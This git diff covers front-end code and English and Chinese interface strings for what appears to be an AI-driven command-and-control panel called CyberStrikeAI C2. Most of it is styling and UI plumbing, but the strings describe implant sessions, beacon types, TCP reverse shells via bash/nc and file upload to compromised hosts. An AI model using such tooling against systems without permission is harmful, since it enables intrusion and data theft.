justify-content: center;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
transition: transform 0.2s ease, color 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar-card-chevron svg {
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.conversation-reasoning-card-header:hover .sidebar-card-chevron,
|
||||||
|
.hitl-sidebar-card-header:hover .sidebar-card-chevron {
|
||||||
|
color: var(--accent-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.conversation-reasoning-card:not(.conversation-reasoning-collapsed) .conversation-reasoning-chevron,
|
||||||
|
.hitl-sidebar-card:not(.hitl-sidebar-collapsed) .hitl-sidebar-chevron {
|
||||||
|
transform: rotate(90deg);
|
||||||
|
}
|
||||||
|
|
||||||
.conversation-reasoning-heading {
|
.conversation-reasoning-heading {
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
@@ -5535,6 +5556,80 @@ header {
|
|||||||
padding-bottom: 0;
|
padding-bottom: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Skill 包内文件树:区分不可点击的文件夹与可点击的文件 */
|
||||||
|
#skill-package-tree {
|
||||||
|
flex: 0 0 240px;
|
||||||
|
max-height: 440px;
|
||||||
|
overflow: auto;
|
||||||
|
border: 1px solid var(--border-color);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 6px 4px;
|
||||||
|
font-size: 13px;
|
||||||
|
line-height: 1.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-package-tree-hint {
|
||||||
|
display: block;
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--text-muted);
|
||||||
|
margin: 4px 0 8px;
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-row {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-start;
|
||||||
|
gap: 6px;
|
||||||
|
padding: 5px 8px;
|
||||||
|
border-radius: 4px;
|
||||||
|
margin-bottom: 1px;
|
||||||
|
min-width: 0;
|
||||||
|
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||||
|
font-size: 12px;
|
||||||
|
word-break: break-all;
|
||||||
|
line-height: 1.35;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-dir {
|
||||||
|
color: var(--text-muted);
|
||||||
|
cursor: default;
|
||||||
|
user-select: none;
|
||||||
|
font-weight: 500;
|
||||||
|
opacity: 0.88;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-dir .skill-tree-icon {
|
||||||
|
opacity: 0.65;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-file {
|
||||||
|
color: var(--text-primary);
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background 0.15s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-file:hover {
|
||||||
|
background: rgba(0, 102, 255, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-file.is-selected {
|
||||||
|
font-weight: 600;
|
||||||
|
background: rgba(99, 102, 241, 0.12);
|
||||||
|
color: var(--accent-color);
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-icon {
|
||||||
|
flex-shrink: 0;
|
||||||
|
width: 1.15em;
|
||||||
|
text-align: center;
|
||||||
|
line-height: 1.35;
|
||||||
|
}
|
||||||
|
|
||||||
|
.skill-tree-label {
|
||||||
|
min-width: 0;
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
|
||||||
.pagination-fixed {
|
.pagination-fixed {
|
||||||
background: var(--bg-primary);
|
background: var(--bg-primary);
|
||||||
margin-top: 0;
|
margin-top: 0;
|
||||||
@@ -21089,6 +21184,11 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
gap: 12px;
|
gap: 12px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* 全局 Toast 须高于模态遮罩 (10050) */
|
||||||
|
#toast-notification-container {
|
||||||
|
z-index: 10100 !important;
|
||||||
|
}
|
||||||
|
|
||||||
.chat-files-toast {
|
.chat-files-toast {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
z-index: 1100;
|
z-index: 1100;
|
||||||
@@ -22185,6 +22285,28 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
|
|||||||
.projects-panel-toolbar--hint .projects-fact-toolbar-hint {
|
.projects-panel-toolbar--hint .projects-fact-toolbar-hint {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
}
|
}
|
||||||
|
#project-panel-facts .data-table--projects th:nth-child(1) { width: 20%; }
|
||||||
|
#project-panel-facts .data-table--projects th:nth-child(2) { width: 9%; }
|
||||||
|
#project-panel-facts .data-table--projects th:nth-child(3) { width: 30%; }
|
||||||
|
#project-panel-facts .data-table--projects th:nth-child(4) { width: 9%; }
|
||||||
|
#project-panel-facts .data-table--projects th:nth-child(5) { width: 10%; }
|
||||||
|
#project-panel-facts .data-table--projects th:nth-child(6) { width: 10%; }
|
||||||
|
#project-panel-facts .data-table--projects .cell-fact-key {
|
||||||
|
overflow: hidden;
|
||||||
|
max-width: 0;
|
||||||
|
}
|
||||||
|
#project-panel-facts .data-table--projects .cell-fact-category {
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
#project-panel-facts .projects-fact-key-chip {
|
||||||
|
display: inline-block;
|
||||||
|
max-width: 100%;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
vertical-align: top;
|
||||||
|
box-sizing: border-box;
|
||||||
|
}
|
||||||
#project-panel-conversations .data-table--projects th:nth-child(1),
|
#project-panel-conversations .data-table--projects th:nth-child(1),
|
||||||
#project-panel-conversations .data-table--projects td:nth-child(1) {
|
#project-panel-conversations .data-table--projects td:nth-child(1) {
|
||||||
width: 48%;
|
width: 48%;
|
||||||
|
|||||||
@@ -2257,6 +2257,9 @@
|
|||||||
"descriptionPlaceholder": "Short description",
|
"descriptionPlaceholder": "Short description",
|
||||||
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
||||||
"packageFiles": "Package files",
|
"packageFiles": "Package files",
|
||||||
|
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
|
||||||
|
"folderHint": "Folder (not editable)",
|
||||||
|
"clickToEdit": "Click to edit this file",
|
||||||
"editingFile": "Editing",
|
"editingFile": "Editing",
|
||||||
"newFile": "New file",
|
"newFile": "New file",
|
||||||
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
||||||
@@ -2543,6 +2546,15 @@
|
|||||||
"files": {
|
"files": {
|
||||||
"parent": "Parent",
|
"parent": "Parent",
|
||||||
"refresh": "Refresh",
|
"refresh": "Refresh",
|
||||||
|
"upload": "Upload",
|
||||||
|
"uploading": "Uploading {{name}} · {{percent}}%",
|
||||||
|
"uploadOk": "Uploaded",
|
||||||
|
"uploadQueued": "Upload task queued",
|
||||||
|
"uploadPendingApproval": "Upload task pending HITL approval",
|
||||||
|
"uploadUnsupported": "Upload is not supported for this session",
|
||||||
|
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
|
||||||
|
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||||
|
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||||
"loading": "Loading…",
|
"loading": "Loading…",
|
||||||
"timeout": "Timed out loading files",
|
"timeout": "Timed out loading files",
|
||||||
"emptyDir": "Empty directory",
|
"emptyDir": "Empty directory",
|
||||||
@@ -2552,6 +2564,7 @@
|
|||||||
"colActions": "Actions",
|
"colActions": "Actions",
|
||||||
"open": "Open",
|
"open": "Open",
|
||||||
"download": "Download",
|
"download": "Download",
|
||||||
|
"downloadOk": "Downloaded",
|
||||||
"failed": "Failed"
|
"failed": "Failed"
|
||||||
},
|
},
|
||||||
"listeners": {
|
"listeners": {
|
||||||
@@ -2668,7 +2681,7 @@
|
|||||||
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
||||||
"toastExitSent": "Exit command sent",
|
"toastExitSent": "Exit command sent",
|
||||||
"toastSessionDeleted": "Session record deleted",
|
"toastSessionDeleted": "Session record deleted",
|
||||||
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
|
"terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
|
||||||
"termStatusReady": "Ready",
|
"termStatusReady": "Ready",
|
||||||
"termStatusExec": "Executing…",
|
"termStatusExec": "Executing…",
|
||||||
"termStatusErr": "Error",
|
"termStatusErr": "Error",
|
||||||
@@ -2677,6 +2690,9 @@
|
|||||||
"termWaitTimeout": "[Timed out waiting for result]",
|
"termWaitTimeout": "[Timed out waiting for result]",
|
||||||
"termCleared": "Terminal cleared",
|
"termCleared": "Terminal cleared",
|
||||||
"termNoSelection": "No text selected",
|
"termNoSelection": "No text selected",
|
||||||
|
"termWaitFinish": "Please wait for the current command to finish",
|
||||||
|
"termCtrlC": "Remote interrupt is not supported in this version",
|
||||||
|
"termQueued": "[Command queued — will run after the current task completes]",
|
||||||
"clearTerminal": "Clear"
|
"clearTerminal": "Clear"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
@@ -2703,6 +2719,7 @@
|
|||||||
"colTask": "Task",
|
"colTask": "Task",
|
||||||
"colSession": "Session",
|
"colSession": "Session",
|
||||||
"colType": "Type",
|
"colType": "Type",
|
||||||
|
"colCommand": "Command",
|
||||||
"colStatus": "Status",
|
"colStatus": "Status",
|
||||||
"colDuration": "Duration",
|
"colDuration": "Duration",
|
||||||
"colCreated": "Created",
|
"colCreated": "Created",
|
||||||
@@ -2713,6 +2730,8 @@
|
|||||||
"labelId": "ID",
|
"labelId": "ID",
|
||||||
"labelSession": "Session",
|
"labelSession": "Session",
|
||||||
"labelType": "Type",
|
"labelType": "Type",
|
||||||
|
"labelCommand": "Command",
|
||||||
|
"labelPayload": "Payload",
|
||||||
"labelStatus": "Status",
|
"labelStatus": "Status",
|
||||||
"labelCreated": "Created",
|
"labelCreated": "Created",
|
||||||
"labelSent": "Sent",
|
"labelSent": "Sent",
|
||||||
|
|||||||
@@ -2246,6 +2246,9 @@
|
|||||||
"descriptionPlaceholder": "Skill的简短描述",
|
"descriptionPlaceholder": "Skill的简短描述",
|
||||||
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
|
||||||
"packageFiles": "包内文件",
|
"packageFiles": "包内文件",
|
||||||
|
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
|
||||||
|
"folderHint": "文件夹(不可编辑)",
|
||||||
|
"clickToEdit": "点击编辑此文件",
|
||||||
"editingFile": "正在编辑",
|
"editingFile": "正在编辑",
|
||||||
"newFile": "新建文件",
|
"newFile": "新建文件",
|
||||||
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
|
||||||
@@ -2532,6 +2535,15 @@
|
|||||||
"files": {
|
"files": {
|
||||||
"parent": "上级目录",
|
"parent": "上级目录",
|
||||||
"refresh": "刷新",
|
"refresh": "刷新",
|
||||||
|
"upload": "上传",
|
||||||
|
"uploading": "正在上传 {{name}} · {{percent}}%",
|
||||||
|
"uploadOk": "上传成功",
|
||||||
|
"uploadQueued": "上传任务已入队",
|
||||||
|
"uploadPendingApproval": "上传任务待人机协同审批",
|
||||||
|
"uploadUnsupported": "当前会话不支持上传",
|
||||||
|
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
|
||||||
|
"uploadTcpShell": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||||
|
"uploadTcpReverse": "当前为 TCP 反弹 Shell(bash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
|
||||||
"loading": "加载中…",
|
"loading": "加载中…",
|
||||||
"timeout": "加载文件超时",
|
"timeout": "加载文件超时",
|
||||||
"emptyDir": "空目录",
|
"emptyDir": "空目录",
|
||||||
@@ -2541,6 +2553,7 @@
|
|||||||
"colActions": "操作",
|
"colActions": "操作",
|
||||||
"open": "打开",
|
"open": "打开",
|
||||||
"download": "下载",
|
"download": "下载",
|
||||||
|
"downloadOk": "下载成功",
|
||||||
"failed": "失败"
|
"failed": "失败"
|
||||||
},
|
},
|
||||||
"listeners": {
|
"listeners": {
|
||||||
@@ -2657,7 +2670,7 @@
|
|||||||
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
"confirmDeleteSession": "从服务器删除此会话及其关联任务与文件记录?(不会向植入体发送退出;若需退出目标进程请使用「终止会话」。)",
|
||||||
"toastExitSent": "退出指令已发送",
|
"toastExitSent": "退出指令已发送",
|
||||||
"toastSessionDeleted": "会话记录已删除",
|
"toastSessionDeleted": "会话记录已删除",
|
||||||
"terminalWelcome": "CyberStrikeAI C2 终端 — AI-Native 命令与控制",
|
"terminalWelcome": "CyberStrikeAI C2 终端 — 回车执行;↑↓ 历史;Ctrl+L 清屏;Ctrl+C 取消输入",
|
||||||
"termStatusReady": "就绪",
|
"termStatusReady": "就绪",
|
||||||
"termStatusExec": "执行中…",
|
"termStatusExec": "执行中…",
|
||||||
"termStatusErr": "错误",
|
"termStatusErr": "错误",
|
||||||
@@ -2666,6 +2679,9 @@
|
|||||||
"termWaitTimeout": "[等待结果超时]",
|
"termWaitTimeout": "[等待结果超时]",
|
||||||
"termCleared": "终端已清屏",
|
"termCleared": "终端已清屏",
|
||||||
"termNoSelection": "未选中文本",
|
"termNoSelection": "未选中文本",
|
||||||
|
"termWaitFinish": "请等待当前命令执行完成",
|
||||||
|
"termCtrlC": "当前版本暂不支持中断远程命令",
|
||||||
|
"termQueued": "[命令已加入队列,将在当前任务完成后执行]",
|
||||||
"clearTerminal": "清屏"
|
"clearTerminal": "清屏"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
@@ -2692,6 +2708,7 @@
|
|||||||
"colTask": "任务",
|
"colTask": "任务",
|
||||||
"colSession": "会话",
|
"colSession": "会话",
|
||||||
"colType": "类型",
|
"colType": "类型",
|
||||||
|
"colCommand": "命令",
|
||||||
"colStatus": "状态",
|
"colStatus": "状态",
|
||||||
"colDuration": "耗时",
|
"colDuration": "耗时",
|
||||||
"colCreated": "创建时间",
|
"colCreated": "创建时间",
|
||||||
@@ -2702,6 +2719,8 @@
|
|||||||
"labelId": "ID",
|
"labelId": "ID",
|
||||||
"labelSession": "会话",
|
"labelSession": "会话",
|
||||||
"labelType": "类型",
|
"labelType": "类型",
|
||||||
|
"labelCommand": "命令",
|
||||||
|
"labelPayload": "参数",
|
||||||
"labelStatus": "状态",
|
"labelStatus": "状态",
|
||||||
"labelCreated": "创建时间",
|
"labelCreated": "创建时间",
|
||||||
"labelSent": "发送时间",
|
"labelSent": "发送时间",
|
||||||
|
|||||||
+1063
-126
File diff suppressed because it is too large
Load Diff
+27
-1
@@ -423,10 +423,28 @@ if (typeof window !== 'undefined') {
|
|||||||
window.updateHitlStatusUI = updateHitlStatusUI;
|
window.updateHitlStatusUI = updateHitlStatusUI;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function syncHitlSidebarAriaExpanded() {
|
||||||
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
|
var toggle = document.getElementById('hitl-sidebar-toggle');
|
||||||
|
if (!card || !toggle) return;
|
||||||
|
toggle.setAttribute('aria-expanded', card.classList.contains('hitl-sidebar-collapsed') ? 'false' : 'true');
|
||||||
|
}
|
||||||
|
|
||||||
|
function closeHitlSidebarCard() {
|
||||||
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
|
if (!card || card.classList.contains('hitl-sidebar-collapsed')) return;
|
||||||
|
card.classList.add('hitl-sidebar-collapsed');
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
|
try {
|
||||||
|
localStorage.setItem('hitl-sidebar-collapsed', '1');
|
||||||
|
} catch (e) {}
|
||||||
|
}
|
||||||
|
|
||||||
function toggleHitlSidebarCard() {
|
function toggleHitlSidebarCard() {
|
||||||
var card = document.getElementById('hitl-sidebar-card');
|
var card = document.getElementById('hitl-sidebar-card');
|
||||||
if (!card) return;
|
if (!card) return;
|
||||||
card.classList.toggle('hitl-sidebar-collapsed');
|
card.classList.toggle('hitl-sidebar-collapsed');
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
try {
|
try {
|
||||||
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
localStorage.setItem('hitl-sidebar-collapsed', card.classList.contains('hitl-sidebar-collapsed') ? '1' : '0');
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
@@ -438,6 +456,7 @@ document.addEventListener('DOMContentLoaded', function () {
|
|||||||
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
if (card && localStorage.getItem('hitl-sidebar-collapsed') === '0') {
|
||||||
card.classList.remove('hitl-sidebar-collapsed');
|
card.classList.remove('hitl-sidebar-collapsed');
|
||||||
}
|
}
|
||||||
|
syncHitlSidebarAriaExpanded();
|
||||||
});
|
});
|
||||||
|
|
||||||
function getAgentModeLabelForValue(mode) {
|
function getAgentModeLabelForValue(mode) {
|
||||||
@@ -7394,7 +7413,7 @@ document.addEventListener('languagechange', function () {
|
|||||||
refreshHitlConfigByCurrentConversation();
|
refreshHitlConfigByCurrentConversation();
|
||||||
});
|
});
|
||||||
|
|
||||||
// 点击外部关闭图标选择器、对话模式面板
|
// 点击外部关闭图标选择器、对话模式面板、侧栏折叠卡片
|
||||||
document.addEventListener('click', function(event) {
|
document.addEventListener('click', function(event) {
|
||||||
const picker = document.getElementById('group-icon-picker');
|
const picker = document.getElementById('group-icon-picker');
|
||||||
const iconBtn = document.getElementById('create-group-icon-btn');
|
const iconBtn = document.getElementById('create-group-icon-btn');
|
||||||
@@ -7420,6 +7439,13 @@ document.addEventListener('click', function(event) {
|
|||||||
closeChatReasoningPanel();
|
closeChatReasoningPanel();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const hitlCard = document.getElementById('hitl-sidebar-card');
|
||||||
|
if (hitlCard && !hitlCard.classList.contains('hitl-sidebar-collapsed')) {
|
||||||
|
if (!hitlCard.contains(event.target)) {
|
||||||
|
closeHitlSidebarCard();
|
||||||
|
}
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// 创建分组
|
// 创建分组
|
||||||
|
|||||||
@@ -2055,7 +2055,7 @@ function showToastNotification(message, type = 'info') {
|
|||||||
position: fixed;
|
position: fixed;
|
||||||
top: 20px;
|
top: 20px;
|
||||||
right: 20px;
|
right: 20px;
|
||||||
z-index: 10000;
|
z-index: 10100;
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
gap: 12px;
|
gap: 12px;
|
||||||
|
|||||||
@@ -3637,10 +3637,15 @@ function buildMcpTimelineSvg(points, rangeKey) {
|
|||||||
const tickIdx = points.length <= 2
|
const tickIdx = points.length <= 2
|
||||||
? points.map((_, i) => i)
|
? points.map((_, i) => i)
|
||||||
: [0, Math.floor((points.length - 1) / 2), points.length - 1];
|
: [0, Math.floor((points.length - 1) / 2), points.length - 1];
|
||||||
const xLabels = tickIdx.map((idx) => {
|
const xLabels = tickIdx.map((idx, ti) => {
|
||||||
const c = coords[idx];
|
const c = coords[idx];
|
||||||
const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
|
const label = formatMcpTimelineLabel(c.p.t, rangeKey, locale);
|
||||||
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="middle">${escapeHtml(label)}</text>`;
|
let anchor = 'middle';
|
||||||
|
if (tickIdx.length > 1) {
|
||||||
|
if (ti === 0) anchor = 'start';
|
||||||
|
else if (ti === tickIdx.length - 1) anchor = 'end';
|
||||||
|
}
|
||||||
|
return `<text class="mcp-stats-timeline-axis" x="${c.x.toFixed(2)}" y="${H - 5}" text-anchor="${anchor}">${escapeHtml(label)}</text>`;
|
||||||
}).join('');
|
}).join('');
|
||||||
|
|
||||||
const dots = coords.map((c) => {
|
const dots = coords.map((c) => {
|
||||||
|
|||||||
@@ -575,8 +575,8 @@ async function loadProjectFacts() {
|
|||||||
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
|
? `<span class="projects-fact-vuln-link" title="${escapeHtml(tp('projects.relatedVulnIdTitle'))}">${escapeHtml(f.related_vulnerability_id.slice(0, 8))}…</span>`
|
||||||
: '';
|
: '';
|
||||||
return `<tr>
|
return `<tr>
|
||||||
<td><code>${keyEsc}</code>${vulnLink}</td>
|
<td class="cell-fact-key"><code class="projects-fact-key-chip" title="${keyEsc}">${keyEsc}</code>${vulnLink}</td>
|
||||||
<td>${formatCategoryBadge(f.category)}</td>
|
<td class="cell-fact-category">${formatCategoryBadge(f.category)}</td>
|
||||||
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
|
<td class="cell-summary" title="${escapeHtml(f.summary)}">${escapeHtml(f.summary)}</td>
|
||||||
<td>${formatFactBodyBadge(f)}</td>
|
<td>${formatFactBodyBadge(f)}</td>
|
||||||
<td>${formatConfidenceBadge(f.confidence)}</td>
|
<td>${formatConfidenceBadge(f.confidence)}</td>
|
||||||
|
|||||||
+1
-19
@@ -105,6 +105,7 @@ function updateNavState(pageId) {
|
|||||||
// 移除所有活动状态
|
// 移除所有活动状态
|
||||||
document.querySelectorAll('.nav-item').forEach(item => {
|
document.querySelectorAll('.nav-item').forEach(item => {
|
||||||
item.classList.remove('active');
|
item.classList.remove('active');
|
||||||
|
item.classList.remove('expanded');
|
||||||
});
|
});
|
||||||
|
|
||||||
document.querySelectorAll('.nav-submenu-item').forEach(item => {
|
document.querySelectorAll('.nav-submenu-item').forEach(item => {
|
||||||
@@ -202,16 +203,6 @@ function getNavSubmenuItems(navItem) {
|
|||||||
return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
|
return Array.from(submenu.querySelectorAll('.nav-submenu-item'));
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 仅一个子页时直接进入,避免展开后菜单在侧栏底部不可见 */
|
|
||||||
function navigateSingleSubmenuPage(navItem) {
|
|
||||||
const items = getNavSubmenuItems(navItem);
|
|
||||||
if (items.length !== 1) return false;
|
|
||||||
const pageId = items[0].getAttribute('data-page');
|
|
||||||
if (!pageId) return false;
|
|
||||||
switchPage(pageId);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 切换子菜单
|
// 切换子菜单
|
||||||
function toggleSubmenu(menuId) {
|
function toggleSubmenu(menuId) {
|
||||||
const sidebar = document.getElementById('main-sidebar');
|
const sidebar = document.getElementById('main-sidebar');
|
||||||
@@ -228,11 +219,6 @@ function toggleSubmenu(menuId) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 展开侧栏且仅一个子项(角色、Agents 等):单击直接进入,无需再点二级菜单
|
|
||||||
if (navigateSingleSubmenuPage(navItem)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 展开状态下切换子菜单,并滚入视口以便看到子项
|
// 展开状态下切换子菜单,并滚入视口以便看到子项
|
||||||
const willExpand = !navItem.classList.contains('expanded');
|
const willExpand = !navItem.classList.contains('expanded');
|
||||||
navItem.classList.toggle('expanded');
|
navItem.classList.toggle('expanded');
|
||||||
@@ -261,10 +247,6 @@ function showSubmenuPopup(navItem, menuId) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (navigateSingleSubmenuPage(navItem)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const navItemContent = navItem.querySelector('.nav-item-content');
|
const navItemContent = navItem.querySelector('.nav-item-content');
|
||||||
const submenu = navItem.querySelector('.nav-submenu');
|
const submenu = navItem.querySelector('.nav-submenu');
|
||||||
|
|
||||||
|
|||||||
+16
-5
@@ -468,6 +468,11 @@ function showAddSkillModal() {
|
|||||||
modal.style.display = 'flex';
|
modal.style.display = 'flex';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function skillPackagePathDepth(path) {
|
||||||
|
if (!path) return 0;
|
||||||
|
return (String(path).replace(/\/$/, '').match(/\//g) || []).length;
|
||||||
|
}
|
||||||
|
|
||||||
function renderSkillPackageTree() {
|
function renderSkillPackageTree() {
|
||||||
const el = document.getElementById('skill-package-tree');
|
const el = document.getElementById('skill-package-tree');
|
||||||
if (!el) return;
|
if (!el) return;
|
||||||
@@ -479,13 +484,19 @@ function renderSkillPackageTree() {
|
|||||||
}
|
}
|
||||||
el.innerHTML = rows.map(f => {
|
el.innerHTML = rows.map(f => {
|
||||||
const path = f.path || '';
|
const path = f.path || '';
|
||||||
|
const indent = 8 + skillPackagePathDepth(path) * 14;
|
||||||
if (f.is_dir) {
|
if (f.is_dir) {
|
||||||
return `<div style="padding:4px 6px;opacity:0.85;font-weight:600;">${escapeHtml(path)}/</div>`;
|
const dirLabel = path.endsWith('/') ? path : path + '/';
|
||||||
|
return `<div class="skill-tree-row skill-tree-dir" style="padding-left:${indent}px" title="${escapeHtml(_t('skillModal.folderHint'))}">` +
|
||||||
|
`<span class="skill-tree-icon" aria-hidden="true">📁</span>` +
|
||||||
|
`<span class="skill-tree-label">${escapeHtml(dirLabel)}</span>` +
|
||||||
|
`</div>`;
|
||||||
}
|
}
|
||||||
const sel = path === skillActivePath
|
const selected = path === skillActivePath ? ' is-selected' : '';
|
||||||
? 'font-weight:600;background:rgba(99,102,241,0.12);'
|
return `<div class="skill-tree-row skill-tree-file${selected}" style="padding-left:${indent}px" data-skill-tree-path="${escapeHtml(path)}" title="${escapeHtml(_t('skillModal.clickToEdit'))}">` +
|
||||||
: '';
|
`<span class="skill-tree-icon" aria-hidden="true">📄</span>` +
|
||||||
return `<div style="padding:4px 6px;cursor:pointer;border-radius:4px;margin-bottom:2px;${sel}" data-skill-tree-path="${escapeHtml(path)}" class="skill-tree-item">${escapeHtml(path)}</div>`;
|
`<span class="skill-tree-label">${escapeHtml(path)}</span>` +
|
||||||
|
`</div>`;
|
||||||
}).join('');
|
}).join('');
|
||||||
el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
|
el.querySelectorAll('[data-skill-tree-path]').forEach(node => {
|
||||||
node.addEventListener('click', () => {
|
node.addEventListener('click', () => {
|
||||||
|
|||||||
@@ -831,6 +831,11 @@
|
|||||||
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
|
<span id="chat-reasoning-summary" class="conversation-reasoning-summary"></span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<span class="sidebar-card-chevron conversation-reasoning-chevron" aria-hidden="true">
|
||||||
|
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<path d="M9 18l6-6-6-6" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||||
|
</svg>
|
||||||
|
</span>
|
||||||
</button>
|
</button>
|
||||||
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
|
<div id="conversation-reasoning-body" class="conversation-reasoning-body" role="region">
|
||||||
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
|
<p class="chat-reasoning-panel-hint" data-i18n="chat.reasoningPanelHint">仅 Eino 请求生效,与系统设置中的默认值合并。</p>
|
||||||
@@ -859,7 +864,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
|
<div class="hitl-sidebar-card hitl-sidebar-collapsed" id="hitl-sidebar-card">
|
||||||
<div class="hitl-sidebar-card-header" onclick="toggleHitlSidebarCard()">
|
<div class="hitl-sidebar-card-header" id="hitl-sidebar-toggle" role="button" tabindex="0" aria-expanded="false" aria-controls="hitl-sidebar-body" onclick="toggleHitlSidebarCard()" onkeydown="if (event.key === 'Enter' || event.key === ' ') { event.preventDefault(); toggleHitlSidebarCard(); }">
|
||||||
<div class="hitl-sidebar-heading">
|
<div class="hitl-sidebar-heading">
|
||||||
<span class="hitl-sidebar-icon" aria-hidden="true">
|
<span class="hitl-sidebar-icon" aria-hidden="true">
|
||||||
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
|
